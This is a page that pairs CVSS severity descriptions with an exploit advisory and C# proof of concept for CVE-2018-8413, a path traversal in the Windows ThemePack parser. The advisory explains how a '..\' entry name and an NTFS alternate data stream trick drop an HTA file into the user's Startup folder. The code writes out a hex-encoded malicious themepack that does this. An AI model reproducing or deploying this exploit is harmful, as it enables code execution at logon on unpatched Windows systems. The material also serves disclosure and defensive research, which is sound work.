The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows 10 Theme API ThemePack File Parsing
# Exploit Title: Microsoft Windows 10 - Theme API 'ThemePack' File Parsing
# Google Dork: n/a
# Date: 2020-10-28
# Exploit Author: Eduardo Braun Prado
# Vendor Homepage: http://www.microsoft.com/
# Software Link: http://www.microsoft.com/
# Version: 10 v.1803 (17134.407)
# Tested on: Windows 7, 8.0, 8.1, 10, Server 2012, Server 2012 R2, Server 2016, Server 2019
# CVE : CVE-2018-8413
# Discovered by: Eduardo Braun Prado
[Details]
Microsoft 'themepack' files are classic '.theme' files compressed for
sharing over the internet. Theme files
allows users to customize visual aspects of their device, such as icons
for known features like 'My computer'
and 'trash bin' folders, the default screensaver (which by the way
allowed attackers to run '.scr' files located
on shares upon applying a Theme, in the past. Refer to: CVE-2013-0810).
ThemePack file type uses Microsoft 'CAB' format. The parser contains a
vulnerability that allows attackers
to create arbitrary files on arbitrary locations on the users system,
by using the classic
'parent directory' technique, and thus could lead to creation of some
executable files on the
startup folder. This executable will be run on next logon.
Conditions:
1) The 'themepack' file must contain a valid '[dot] theme' file.
The parser allows creating '.theme' files on arbitrary locations, but
the extension must be
'.theme'. Theres a trick, though, to overcome this:
NTFS Alternate Data Streams.
By using a specially crafted name like "abc.hta:[dot] theme" its
possible to trick the parser into
dropping a file with an '[dot] hta' extension instead of the legitimate
'[dot] theme', potentially allowing
attackers to compromise the affected systems. The '[dot] hta' extension
is a good choice since you can
merge valid code with arbitrary text or binary files.
Note: Patched on October, 2018 Microsoft monthly patch.
[PoC]
Proof of concept code that drops an 'hta' file to startup dir.
Instructions:
- Create a new project on MS Visual Studio (any version, included free
ones like 'Express'), choose 'Console Application'
and at 'program . cs' replace the code with the code below
Note: Source code targets dot NET 4.0 and up (previous versions might
work fine though!)
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ThemePack
{
class Program
{
static void Main(string[] args)
{
String exeDir = AppDomain.CurrentDomain.BaseDirectory;
Directory.SetCurrentDirectory(exeDir);
string tmpPath = Path.GetTempPath();
string tpd =
"4D53434600000000AB010000000000002C000000000000000301010001000000000000009500000001000100930100000000000000003C508108200061612E2E5C2E2E5C2E2E5C2E2E5C2E2E5C2E2E5C726F616D696E675C6D6963726F736F66745C77696E646F77735C7374617274206D656E755C70726F6772616D735C737461727475705C6162632E6874613A2E7468656D6500B60133780E019301434B4D51C16A023110BD07F20F5EBC5A85D2163405DDB5871645CCB215BA1ED265C0E024B364E261FDFA66534BBD8499F7DE4CDE4BE68B5374F82AC55775020747294ACB1D9A7E6B1CA88CED4C7B1ED517F4522459413E06C2D1CE78C0A6043E47EAD2D8A741EC4C074149515984FF7E7A47EAD823A85982762646085EE5A5B5E58BC14CF231732735D63D47707BA2386E02305D420BDCC4C112374B08948F8963CE7352148474BB614BC119CC8014DA5EFF90A1BC09EDD5444B3ED76A7A785A3D3FAE5EDE8AE43E18CF9D09E0DB5ECD06B5EB88ED201EDA3BAF3504CEE834A7F84E56937B5DECB77A59AF27EBC3FA37DEC6A424213FA60684365248BA4DA537AA5CAEDECB8F4A8AF9E2E1F6133F";
string tpf = exeDir + "\\C00L.themepack";
Console.WriteLine("\n\n
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
\n Microsoft Windows Theme API 'ThemePack' File Parsing Vulnerability
PoC (CVE-2018-8413) \n\n by: Eduardo Braun Prado \n\n
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++");
StreamWriter s = File.CreateText(tmpPath + "\\themepack000.h");
s.Write(tpd);
s.Close();
FileStream f = File.OpenRead(tmpPath + "\\themepack000.h");
String ax = "";
byte[] b = new byte[f.Length];
UTF8Encoding temp = new UTF8Encoding(false);
while (f.Read(b, 0, b.Length) > 0)
{
ax = ax + temp.GetString(b);
}
String bx = ax.ToString();
String cx = "";
byte[] b02 = new byte[f.Length / 2];
for (int i = 0; i < f.Length; i += 2)
{
cx = bx.Substring(i, 2);
b02[i / 2] = Convert.ToByte(cx, 16);
}
File.WriteAllBytes(tpf, b02);
if (File.Exists(tpf))
{
long fsize = new FileInfo(tpf).Length;
if (fsize != 0)
{
Console.WriteLine("\n\n\n Done! 'C00L." +
"themepack' file created in the current directory. Vulnerable systems
should plant an HTA on startup dir.");
}
}
}
}
}
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